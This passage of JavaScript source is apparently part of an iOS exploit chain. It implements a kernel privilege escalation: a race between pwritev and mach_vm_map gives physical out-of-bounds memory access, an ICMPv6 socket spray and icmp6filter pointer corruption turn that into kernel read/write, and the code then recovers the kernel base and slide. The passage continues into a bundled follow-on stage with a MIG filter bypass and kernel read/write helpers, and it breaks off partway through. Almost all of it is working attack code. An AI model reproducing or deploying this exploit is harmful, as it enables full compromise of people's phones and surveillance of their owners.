59, 10, 125, 10, 10, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 40, 41, 59, 0]); let free_thread_js = 0n; if (free_thread_js == 0n) { free_thread_js = free_thread_js_data; } free_thread_jsthread = js_thread_spawn(free_thread_js, free_thread_arg); } let default_file_content = calloc(1n, target_file_size); memset_pattern8(default_file_content, get_bigint_addr(random_marker), target_file_size); function create_target_file(path) { let fd = fopen(path, get_cstring("w")); let written = fwrite(default_file_content, 1n, target_file_size, fd); fclose(fd); } function create_physically_contiguous_mapping(port, address, size) { let dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks); let cf_number = CFNumberCreate(kCFAllocatorDefault, 9n, get_bigint_addr(size)); res = CFDictionarySetValue(dict, kIOSurfaceAllocSize, cf_number); let cfstring = create_cfstring(get_cstring("PurpleGfxMem")); res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfaceMemoryRegion")), cfstring); let surface = IOSurfaceCreate(dict); CFRelease(dict); if (surface == 0n) { LOG("[-] Failed to create surface!!!"); exit(0n); } let physical_mapping_address = IOSurfaceGetBaseAddress(surface); LOG("[+] physical_mapping_address: " + physical_mapping_address.hex()); let memory_object = new_bigint(); let kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(size), physical_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); if (kr != KERN_SUCCESS) { LOG("[-] mach_make_memory_entry_64 failed!!!"); exit(0n); } let new_mapping_address = new_bigint(); kr = mach_vm_map(mach_task_self(), get_bigint_addr(new_mapping_address), size, 0n, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memory_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); if (kr != KERN_SUCCESS) { LOG("[-] mach_vm_map failed!!!"); exit(0n); } CFRelease(surface); uwrite64(port, memory_object); uwrite64(address, new_mapping_address); } function initialize_physical_read_write(contiguous_mapping_size) { pc_size = contiguous_mapping_size; create_physically_contiguous_mapping(get_bigint_addr(pc_object), get_bigint_addr(pc_address), pc_size); LOG("[+] pc_object: " + pc_object.hex()); LOG("[+] pc_address: " + pc_address.hex()); memset_pattern8(pc_address, get_bigint_addr(random_marker), pc_size); free_target = pc_address; free_target_size = pc_size; uwrite64(free_target_sync_ptr, free_target); uwrite64(free_target_size_sync_ptr, free_target_size); uwrite64(free_thread_start_ptr, 1n); uwrite64(go_sync_ptr, 1n); } let iov = calloc(1n, 0x10n); let highiest_success_idx = 0n; let success_read_count = 0n; function physical_oob_read_mo(mo, mo_offset, size, offset, buffer) { uwrite64(target_object_sync_ptr, mo); uwrite64(target_object_offset_sync_ptr, mo_offset); uwrite64(iov + 0x00n, pc_address + 0x3f00n); uwrite64(iov + 0x08n, offset + size); uwrite64(buffer, random_marker); uwrite64(pc_address + 0x3f00n + offset, random_marker); let read_race_succeeded = false; let w = 0n; for (let try_idx = 0n; try_idx < highiest_success_idx + 100n; try_idx++) { uwrite64(race_sync_ptr, 1n); w = pwritev(read_fd, iov, 1n, 0x3f00n); cmp8_wait_for_change(race_sync_ptr, 1); kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); if (kr != KERN_SUCCESS) { LOG("[-] mach_vm_map failed!!!"); exit(0n); } if (w == 0xFFFFFFFFFFFFFFFFn) { let r = pread(read_fd, buffer, size, 0x3f00n + offset); let marker = uread64(buffer); if (marker != random_marker) { read_race_succeeded = true; success_read_count += 0x1n; if (try_idx > highiest_success_idx) { highiest_success_idx = try_idx; } break; } else { usleep(1n); } } if (try_idx == 500n) { break; } } uwrite64(target_object_sync_ptr, 0n); if (read_race_succeeded == false) { return 1n; } return KERN_SUCCESS; } function physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer) { while (true) { kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); if (kr == KERN_SUCCESS) { break; } } } function physical_oob_write_mo(mo, mo_offset, size, offset, buffer) { uwrite64(target_object_sync_ptr, mo); uwrite64(target_object_offset_sync_ptr, mo_offset); uwrite64(iov + 0x00n, pc_address + 0x3f00n); uwrite64(iov + 0x08n, offset + size); pwrite(write_fd, buffer, size, 0x3f00n + offset); for (let try_idx = 0n; try_idx < 20n; try_idx++) { uwrite64(race_sync_ptr, 1n); preadv(write_fd, iov, 1n, 0x3f00n); cmp8_wait_for_change(race_sync_ptr, 1); kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); if (kr != KERN_SUCCESS) { LOG("[-] mach_vm_map failed!!!"); exit(0n); } } uwrite64(target_object_sync_ptr, 0n); return; } let control_socket = 0n; let rw_socket = 0n; let control_socket_pcb = 0n; let rw_socket_pcb = 0n; let EARLY_KRW_LENGTH = 0x20n; let control_data = calloc(1n, EARLY_KRW_LENGTH); function set_target_kaddr(where) { memset(control_data, 0n, EARLY_KRW_LENGTH); uwrite64(control_data, where); let res = setsockopt(control_socket, IPPROTO_ICMPV6, ICMP6_FILTER, control_data, EARLY_KRW_LENGTH); if (res != 0n) { LOG("[-] setsockopt failed!!!"); exit(0n); } } function early_kread(where, read_buf, size) { if (size > EARLY_KRW_LENGTH) { LOG("[!] error: (size > EARLY_KRW_LENGTH)"); exit(0n); } set_target_kaddr(where); let read_data_length = BigInt(size); res = getsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, get_bigint_addr(read_data_length)); if (res != 0n) { LOG("[-] getsockopt failed!!!"); exit(0n); } } function early_kread64(where) { let value = new_bigint(); let res = early_kread(where, get_bigint_addr(value), 0x8n); return update_bigint(value); } function early_kwrite32bytes(where, write_buf) { set_target_kaddr(where); let res = setsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, write_buf, EARLY_KRW_LENGTH); if (res != 0n) { LOG("[-] setsockopt failed!!!"); exit(0n); } } let early_kwrite64_write_buf = calloc(1n, EARLY_KRW_LENGTH); function early_kwrite64(where, what) { early_kread(where, early_kwrite64_write_buf, EARLY_KRW_LENGTH); uwrite64(early_kwrite64_write_buf, what); early_kwrite32bytes(where, early_kwrite64_write_buf); } function kread_length(address, buffer, size) { let remaining = BigInt(size); let read_offset = 0n; let read_size = 0n; while (remaining != 0n) { if (remaining >= EARLY_KRW_LENGTH) { read_size = EARLY_KRW_LENGTH; } else { read_size = remaining % EARLY_KRW_LENGTH; } early_kread(address + read_offset, buffer + read_offset, read_size); remaining -= read_size; read_offset += read_size; } } let kwrite_length_buffer = calloc(1n, EARLY_KRW_LENGTH); function kwrite_length(dst, src, size) { let remaining = BigInt(size); let write_offset = 0n; let write_size = 0n; while (remaining != 0n) { if (remaining >= EARLY_KRW_LENGTH) { write_size = EARLY_KRW_LENGTH; } else { write_size = remaining % EARLY_KRW_LENGTH; } let kwrite_dst_addr = dst + write_offset; let kwrite_src_addr = src + write_offset; if (write_size != EARLY_KRW_LENGTH) { kread_length(kwrite_dst_addr, kwrite_length_buffer, EARLY_KRW_LENGTH); } memcpy(kwrite_length_buffer, kwrite_src_addr, write_size); early_kwrite32bytes(kwrite_dst_addr, kwrite_length_buffer); remaining -= write_size; write_offset += write_size; } } function kwrite_zone_element(dst, src, len) { let CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE = 0x20n; if (len < CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) { LOG("kwrite_zone_element supports only zone element size >= 0x20"); return false; } let write_size = 0n; let write_offset = 0n; let remaining = BigInt(len); while (remaining != 0n) { write_size = remaining >= CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE ? CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE : remaining % CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE; let kwrite_dst_addr = dst + write_offset; let kwrite_src_addr = src + write_offset; if (write_size != CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) { let adjust = CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE - write_size; kwrite_dst_addr -= adjust; kwrite_src_addr -= adjust; } kwrite_length(kwrite_dst_addr, kwrite_src_addr, CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE); remaining -= write_size; write_offset += write_size; } return true; } function kdump(where, size, msg = "") { LOG(`[+] ----------- ${msg} ----------`); for (let i = 0n; i < size; i += 0x10n) { LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`); } } function krw_sockets_leak_forever() { let offset_pcb_socket = 0x40n; let offset_socket_so_count = 0x254n; let control_socket_addr = early_kread64(control_socket_pcb + offset_pcb_socket); let rw_socket_addr = early_kread64(rw_socket_pcb + offset_pcb_socket); if (control_socket_addr == 0n || rw_socket_addr == 0n) { LOG("[-] Couldn't find control_socket_addr || rw_socket_addr"); exit(0n); } let control_socket_so_count = early_kread64(control_socket_addr + offset_socket_so_count); let rw_socket_so_count = early_kread64(rw_socket_addr + offset_socket_so_count); early_kwrite64(control_socket_addr + offset_socket_so_count, control_socket_so_count + 0x0000100100001001n); early_kwrite64(rw_socket_addr + offset_socket_so_count, rw_socket_so_count + 0x0000100100001001n); let icmp6filt_offset = 0x148n; early_kwrite64(rw_socket_pcb + icmp6filt_offset + 0x8n, 0n); } let socket_ports = []; let socket_pcb_ids = []; let socket_ports_count = 0n; let getsockopt_read_length = 32n; let getsockopt_read_data = calloc(1n, getsockopt_read_length); let socket_info = calloc(1n, 0x400n); function spray_socket(socket_ports, socket_pcb_ids) { let fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6); if (fd == 0xFFFFFFFFFFFFFFFFn) { LOG("[-] socket create failed!!!"); return fd; } let output_socket_port = new_bigint(); fileport_makeport(fd, get_bigint_addr(output_socket_port)); close(fd); let r = syscall(336n, 6n, getpid(), 3n, output_socket_port, socket_info, 0x400n); let inp_gencnt = uread64(socket_info + 0x110n); socket_ports.push(output_socket_port); socket_pcb_ids.push(inp_gencnt); return output_socket_port; } function sockets_release() { for (let sock_idx = 0n; sock_idx < socket_ports_count; sock_idx++) { let port = socket_ports.pop(); mach_port_deallocate(mach_task_self(), port); socket_pcb_ids.pop(); } socket_ports_count = 0n; } function create_surface_with_address(address, size) { let properties = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks); let address_ptr = new_uint64_t(address); let address_number = CFNumberCreate(kCFAllocatorDefault, 11n, address_ptr); CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAddress")), address_number); let size_ptr = new_uint64_t(size); let size_number = CFNumberCreate(kCFAllocatorDefault, 9n, size_ptr); CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAllocSize")), size_number); let surface = IOSurfaceCreate(properties); IOSurfacePrefetchPages(surface); free(address_ptr); free(size_ptr); CFRelease(address_number); CFRelease(size_number); CFRelease(properties); return surface; } let mlock_dict = {}; function surface_mlock(address, size) { let surf = create_surface_with_address(address, size); mlock_dict[address] = surf; } function surface_munlock(address, size) { if (mlock_dict[address] != undefined) { CFRelease(mlock_dict[address]); } mlock_dict[address] = undefined; } function find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, do_read = true) { if (do_read == true) { physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); } let search_start_idx = 0n; let target_found = false; let pcb_start_offset = 0n; let icmp6filt_offset = 0x148n; let found = 0n; do { found = memmem(read_buffer + search_start_idx, oob_size - search_start_idx, executable_name, strlen(executable_name)); if (found != 0n) { pcb_start_offset = found - read_buffer & 0xFFFFFFFFFFFFFC00n; if (uread64(read_buffer + pcb_start_offset + icmp6filt_offset + 0x8n) == 0x0000ffffffffffffn) { target_found = true; break; } } search_start_idx += 0x400n; } while (found != 0n && search_start_idx < oob_size); if (target_found == true) { LOG("[+] pcb_start_offset: " + pcb_start_offset.hex()); let target_inp_gencnt = uread64(read_buffer + pcb_start_offset + 0x78n); LOG("[+] target_inp_gencnt: " + target_inp_gencnt.hex()); if (target_inp_gencnt == socket_pcb_ids[socket_ports_count - 1n]) { LOG(`[-] Found last PCB`); return -1n; } let is_our_pcb = false; let control_socket_idx = undefined; for (let sock_idx = 0n; sock_idx < socket_ports_count; sock_idx++) { if (socket_pcb_ids[sock_idx] == target_inp_gencnt) { is_our_pcb = true; control_socket_idx = sock_idx; break; } } if (is_our_pcb == false) { LOG(`[-] Found freed PCB Page!`); return -1n; } if (target_inp_gencnt_list.includes(target_inp_gencnt)) { LOG(`[-] Found old PCB Page!!!!`); return -1n; } else { target_inp_gencnt_list.push(target_inp_gencnt); } let inp_list_next_pointer = uread64(read_buffer + pcb_start_offset + 0x28n) - 0x20n; let icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset); LOG("[+] inp_list_next_pointer: " + inp_list_next_pointer.hex()); LOG("[+] icmp6filter: " + icmp6filter.hex()); rw_socket_pcb = BigInt(inp_list_next_pointer); memcpy(write_buffer, read_buffer, oob_size); uwrite64(write_buffer + pcb_start_offset + icmp6filt_offset, inp_list_next_pointer + icmp6filt_offset); uwrite64(write_buffer + pcb_start_offset + icmp6filt_offset + 0x8n, 0n); LOG("[+] Corrupting icmp6filter pointer..."); while (true) { physical_oob_write_mo(memory_object, seeking_offset, oob_size, oob_offset, write_buffer); physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); let new_icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset); if (new_icmp6filter == inp_list_next_pointer + icmp6filt_offset) { LOG("[+] target corrupted: " + uread64(read_buffer + pcb_start_offset + icmp6filt_offset).hex()); break; } } let sock = fileport_makefd(socket_ports[control_socket_idx]); let res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockopt_read_data, get_bigint_addr(getsockopt_read_length)); if (res != 0n) { LOG("[-] getsockopt failed!!!"); exit(0n); } let marker = uread64(getsockopt_read_data); if (marker != 0xffffffffffffffffn) { LOG("[+] Found control_socket at idx: " + control_socket_idx.hex()); control_socket = sock; rw_socket = fileport_makefd(socket_ports[control_socket_idx + 0x1n]); return KERN_SUCCESS; } else { LOG("[-] Failed to corrupt control_socket at idx: " + control_socket_idx.hex()); } } return -1n; } let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false; function pe_v1() { let n_of_total_search_mapping_pages = 0x1000n * 0x10n; if (is_a18_devices) { n_of_total_search_mapping_pages = 0x10n * 0x10n; } let search_mapping_size = 0x2000n * PAGE_SIZE; if (is_a18_devices) { search_mapping_size = 0x10n * PAGE_SIZE; } let total_search_mapping_size = n_of_total_search_mapping_pages * PAGE_SIZE; let n_of_search_mappings = total_search_mapping_size / search_mapping_size; let read_buffer = calloc(1n, oob_size); let write_buffer = calloc(1n, oob_size); initialize_physical_read_write(n_of_oob_pages * PAGE_SIZE); let wired_mapping = new_bigint(); let wired_mapping_size = 1024n * 1024n * 1024n * 3n; if (is_a18_devices) { kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_mapping), wired_mapping_size, VM_FLAGS_ANYWHERE); LOG(`[+] wired_mapping: ${wired_mapping.hex()}`); } let target_inp_gencnt_list = []; while (true) { if (is_a18_devices) { surface_mlock(wired_mapping, wired_mapping_size); for (let s = 0n; s < wired_mapping_size / 0x4000n; s++) { uwrite64(wired_mapping + s * 0x4000n, 0n); } } let search_mappings = []; for (let s = 0n; s < n_of_search_mappings; s++) { let search_mapping_address = new_bigint(); kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(search_mapping_address), search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); if (kr != KERN_SUCCESS) { LOG("[-] mach_vm_allocate failed!!!"); exit(0n); } for (let k = 0n; k < search_mapping_size; k += PAGE_SIZE) { uwrite64(search_mapping_address + k, random_marker); } search_mappings.push(search_mapping_address); } socket_ports = []; socket_pcb_ids = []; socket_ports_count = 0n; const OPEN_MAX = 10240n; let maxfiles = 3n * OPEN_MAX; let leeway = 4096n * 2n; for (let socket_count = 0n; socket_count < maxfiles - leeway; socket_count++) { let port = spray_socket(socket_ports, socket_pcb_ids); if (port == 0xFFFFFFFFFFFFFFFFn) { LOG("[-] Failed to spray sockets: " + socket_ports_count.hex()); break; } else { socket_ports_count++; } } let start_pcb_id = socket_pcb_ids[0]; let end_pcb_id = socket_pcb_ids[socket_ports_count - 1n]; LOG(`[i] socket_ports_count: ${socket_ports_count.hex()}`); LOG(`[i] start_pcb_id: ${start_pcb_id.hex()}`); LOG(`[i] end_pcb_id: ${end_pcb_id.hex()}`); let success = false; for (let s = 0n; s < n_of_search_mappings; s++) { let search_mapping_address = search_mappings[s]; LOG("[i] looking in search mapping: " + s); let memory_object = new_bigint(); let memory_object_size = BigInt(search_mapping_size); kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(memory_object_size), search_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); if (kr != 0n) { LOG("[-] mach_make_memory_entry_64 failed!!!"); exit(0n); } surface_mlock(search_mapping_address, search_mapping_size); let seeking_offset = 0n; while (seeking_offset < search_mapping_size) { kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); if (kr == KERN_SUCCESS) { if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, false) == KERN_SUCCESS) { success = true; break; } } seeking_offset += PAGE_SIZE; } kr = mach_port_deallocate(mach_task_self(), memory_object); if (kr != KERN_SUCCESS) { LOG("[-] mach_port_deallocate failed!!!"); exit(0n); } if (success == true) { break; } } sockets_release(); for (let s = 0n; s < n_of_search_mappings; s++) { let search_mapping_address = search_mappings.pop(); kr = mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size); } if (is_a18_devices) { surface_munlock(wired_mapping, wired_mapping_size); } if (success == true) { break; } } } function pe_v2() { let read_buffer = calloc(1n, oob_size); let write_buffer = calloc(1n, oob_size); initialize_physical_read_write(n_of_oob_pages * PAGE_SIZE); let getsockopt_read_length = 32n; let getsockopt_read_data = calloc(1n, getsockopt_read_length); let wired_mapping_entry_size = PAGE_SIZE; let wired_mapping_entries_total_size = 1024n * 1024n * 1024n * 2n; let n_of_wired_mapping_entries = wired_mapping_entries_total_size / wired_mapping_entry_size; let wired_mapping_entries_addresses = []; LOG("[i] Allocating memory"); let kr = KERN_SUCCESS; let wired_address = 0n; for (let i = 0n; i < n_of_wired_mapping_entries; i++) { if (i == 0n) { wired_address = new_bigint(); do { kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_address), wired_mapping_entry_size, VM_FLAGS_ANYWHERE); } while (kr != KERN_SUCCESS); } else { wired_address = BigInt(wired_mapping_entries_addresses.slice(-1)); do { wired_address += wired_mapping_entry_size; kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_address), wired_mapping_entry_size, VM_FLAGS_FIXED); } while (kr != KERN_SUCCESS); } wired_mapping_entries_addresses.push(wired_address); surface_mlock(wired_address, wired_mapping_entry_size); uwrite64(wired_address, wired_page_marker); uwrite64(wired_address + 0x8n, wired_address); } let target_inp_gencnt_list = []; LOG("[i] Allocating memory done"); while (true) { let search_mapping_size = 0x800n * PAGE_SIZE; let search_mapping_address = new_bigint(); kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(search_mapping_address), search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); if (kr != KERN_SUCCESS) { LOG("[-] mach_vm_allocate failed!!!"); exit(0n); } for (let k = 0n; k < search_mapping_size; k += PAGE_SIZE) { uwrite64(search_mapping_address + k, random_marker); } surface_mlock(search_mapping_address, search_mapping_size); let memory_object = new_bigint(); let memory_object_size = BigInt(search_mapping_size); kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(memory_object_size), search_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); if (kr != 0n) { LOG("[-] mach_make_memory_entry_64 failed!!!"); exit(0n); } socket_ports = []; socket_pcb_ids = []; socket_ports_count = 0n; let max_sockets_count = 0x5800n; let split_count = 8n; let wired_pages = []; let success = false; let seeking_offset = 0n; while (seeking_offset < search_mapping_size) { kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); if (kr != KERN_SUCCESS) { seeking_offset += PAGE_SIZE; continue; } if (uread64(read_buffer) == wired_page_marker) { let wired_page = uread64(read_buffer + 0x8n); LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Found wired_page: ${wired_page.hex()}`); if (wired_pages.indexOf(wired_page) == -1) { wired_pages.push(wired_page); let idx = wired_mapping_entries_addresses.indexOf(wired_page); wired_mapping_entries_addresses.splice(idx, 1); uwrite64(wired_page, 0n); uwrite64(wired_page + 0x8n, 0n); } else { LOG(`[-] Found old wired page!!!!`); seeking_offset += PAGE_SIZE; continue; } kr = mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size); if (kr != KERN_SUCCESS) { LOG(`[-] Failed to deallocate wired page!!!!`); } for (let socket_count = 0n; socket_count < max_sockets_count / split_count; socket_count++) { let port = spray_socket(socket_ports, socket_pcb_ids); if (port == 0xFFFFFFFFFFFFFFFFn) { LOG("[-] Failed to spray sockets: " + socket_ports_count.hex()); break; } else { socket_ports_count++; } } if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, true) == KERN_SUCCESS) { LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Reallocated PCB page`); success = true; break; } else { if (socket_ports_count >= max_sockets_count) { sockets_release(); LOG("[+] waiting for zone trimming..."); sleep(20n); } seeking_offset = 0n; } } else if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, false) == KERN_SUCCESS) { LOG(`[i] seeking_offset: ${seeking_offset.hex()}: Found PCB page`); success = true; break; } else { seeking_offset += PAGE_SIZE; } } kr = mach_port_deallocate(mach_task_self(), memory_object); if (kr != KERN_SUCCESS) { LOG("[-] mach_port_deallocate failed!!!"); exit(0n); } sockets_release(); kr = mach_vm_deallocate(mach_task_self(), search_mapping_address, search_mapping_size); if (success == true) { break; } } for (let i = 0n; i < BigInt(wired_mapping_entries_addresses.length); i++) { let wired_page = wired_mapping_entries_addresses[i]; mach_vm_deallocate(mach_task_self(), wired_page, wired_mapping_entry_size); } } function pe() { let device_machine = get_device_machine(); if (strstr(device_machine, get_cstring("iPhone17,")) != 0n) { LOG("[+] Running on A18 Devices"); is_a18_devices = true; sleep(8n); pe_init(); pe_v2(); } else { LOG("[+] Running on non-A18 Devices"); pe_init(); pe_v1(); } LOG(`[+] highiest_success_idx: ${highiest_success_idx}`); LOG(`[+] success_read_count: ${success_read_count}`); uwrite64(go_sync_ptr, 0n); uwrite64(race_sync_ptr, 1n); js_thread_join(free_thread_jsthread); close(write_fd); close(read_fd); control_socket_pcb = early_kread64(rw_socket_pcb + 0x20n); let pcbinfo_pointer = early_kread64(control_socket_pcb + 0x38n); let ipi_zone = early_kread64(pcbinfo_pointer + 0x68n); let zv_name = early_kread64(ipi_zone + 0x10n); kernel_base = zv_name & 0xFFFFFFFFFFFFC000n; while (true) { if (early_kread64(kernel_base) == 0x100000cfeedfacfn) { if (early_kread64(kernel_base + 0x8n) == 0xc00000002n) { break; } } kernel_base -= PAGE_SIZE; } kernel_slide = kernel_base - 0xfffffff007004000n; krw_sockets_leak_forever(); } mpd_js_thread_spawn = js_thread_spawn; mpd_js_thread_join = js_thread_join; mpd_pe = pe; mpd_kread64 = early_kread64; mpd_kwrite64 = early_kwrite64; mpd_kwrite_length = kwrite_length; mpd_kread_length = kread_length; mpd_kwrite_zone_element = kwrite_zone_element; mpd_control_socket = function() { return control_socket; } mpd_rw_socket = function() { return rw_socket; } mpd_pacia_gadget = function() { return dyld_signPointer_gadget; } mpd_kernel_slide = function (addr = 0n) { return addr + kernel_slide; }; mpd_kernel_base = function () { return kernel_base; }; pe(); LOG("[+] PE Post-Exploitation !!!"); LOG(`[+] kernel_base: ${mpd_kernel_base().hex()}`); LOG(`[+] kernel_slide: ${mpd_kernel_slide().hex()}`); let main = {}; main.chainData = { "chosenOffsets": null } try { /******/ (() => { // webpackBootstrap /******/ "use strict"; /******/ var __webpack_modules__ = ({ /***/ "./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js": /*!*****************************************************************************!*\ !*** ./node_modules/raw-loader/dist/cjs.js!./dist/MigFilterBypassThread.js ***! \*****************************************************************************/ /***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { __webpack_require__.r(__webpack_exports__); /* harmony export */ __webpack_require__.d(__webpack_exports__, { /* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) /* harmony export */ }); /* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("/******/ (() => { // webpackBootstrap\n/******/ \t\"use strict\";\n/******/ \tvar __webpack_modules__ = ({\n\n/***/ \"./src/libs/Chain/Chain.js\":\n/*!*********************************!*\\\n !*** ./src/libs/Chain/Chain.js ***!\n \\*********************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Chain)\n/* harmony export */ });\n/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/JSUtils/Utils */ \"./src/libs/JSUtils/Utils.js\");\n\n\nconst TAG = \"CHAIN\"\n\nclass Chain\n{\n\tstatic #driver;\n\tstatic #mutex;\n\n\tstatic init(driver, mutex=null)\n\t{\n\t\tthis.#driver = driver;\n\t\tthis.#mutex = mutex;\n\t}\n\n\tstatic destroy()\n\t{\n\t\tthis.#driver.destroy();\n\t}\n\n\tstatic runPE()\n\t{\n\t\treturn this.#driver.runPE();\n\t}\n\n\tstatic getKernelBase()\n\t{\n\t\treturn this.#driver.getKernelBase();\n\t}\n\n\tstatic getSelfTaskAddr()\n\t{\n\t\treturn this.#driver.getSelfTaskAddr();\n\t}\n\n\tstatic read(srcAddr, dst, len)\n\t{\n\t\tthis.#mutexLock();\n\t\tlet ret = this.#driver.read(srcAddr, dst, len);\n\t\tthis.#mutexUnlock();\n\t\treturn ret;\n\t}\n\n\tstatic write(dst, src, len)\n\t{\n\t\tthis.#mutexLock();\n\t\tlet ret = this.#driver.write(dst, src, len);\n\t\tthis.#mutexUnlock();\n\t\treturn ret;\n\t}\n\n\tstatic readBuff(srcAddr, len)\n\t{\n\t\tif (!this.read(srcAddr, Native.mem, len))\n\t\t\treturn false;\n\t\treturn Native.read(Native.mem, len);\n\t}\n\n\tstatic read8(src)\n\t{\n\t\tthis.read(src, Native.mem, 1);\n\t\treturn Native.read8(Native.mem);\n\t}\n\n\tstatic read16(src)\n\t{\n\t\tthis.read(src, Native.mem, 2);\n\t\treturn Native.read16(Native.mem);\n\t}\n\n\tstatic read32(src)\n\t{\n\t\tthis.read(src, Native.mem, 4);\n\t\treturn Native.read32(Native.mem);\n\t}\n\n\tstatic read64(src)\n\t{\n\t\tthis.read(src, Native.mem, 8);\n\t\treturn Native.read64(Native.mem);\n\t}\n\n\tstatic write8(dst, value)\n\t{\n\t\tNative.write8(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 1);\n\t}\n\n\tstatic write16(dst, value)\n\t{\n\t\tNative.write16(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 2);\n\t}\n\n\tstatic write32(dst, value)\n\t{\n\t\tNative.write32(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 4);\n\t}\n\n\tstatic write64(dst, value)\n\t{\n\t\tNative.write64(Native.mem, value);\n\t\tthis.write(dst, Native.mem, 8);\n\t}\n\n\tstatic offsets()\n\t{\n\t\treturn this.#driver.offsets();\n\t}\n\n\tstatic strip(val)\n\t{\n\t\treturn this.#driver.strip(val);\n\t}\n\n\tstatic writeZoneElement(dstAddr,src,len)\n\t{\n\t\treturn this.#driver.writeZoneElement(dstAddr, src, len);\n\t}\n\n\tstatic getPaciaGadget()\n\t{\n\t\treturn this.#driver.getPaciaGadget();\n\t}\n\tstatic getClearPaciaGadget()\n\t{\n\t\treturn this.#driver.getClearPaciaGadget();\n\t}\n\n\tstatic transferRW()\n\t{\n\t\tlet rwCtx = this.#driver.transferRW();\n\t\tlet controlSocket = rwCtx.controlSocket;\n\t\tlet rwSocket = rwCtx.rwSocket;\n\t\tconsole.log(TAG, \"controlSocket: \" + controlSocket);\n\t\tconsole.log(TAG, \"rwSocket: \" + rwSocket);\n\n\t\tlet portPtr = Native.mem;\n\t\tNative.callSymbol(\"fileport_makeport\", controlSocket, portPtr);\n\t\tlet controlPort = Native.read32(portPtr);\n\n\t\tNative.callSymbol(\"fileport_makeport\", rwSocket, portPtr);\n\t\tlet rwPort = Native.read32(portPtr);\n\n\t\treturn {\n\t\t\tcontrolPort: controlPort,\n\t\t\trwPort: rwPort,\n\t\t\tcontrolSocket: controlSocket,\n\t\t\trwSocket: rwSocket\n\t\t};\n\t}\n\n\tstatic threadSpawn(scriptCFString, threadMem) {\n\t\tthis.#driver.threadSpawn(scriptCFString, threadMem);\n\t}\n\n\tstatic testKRW() 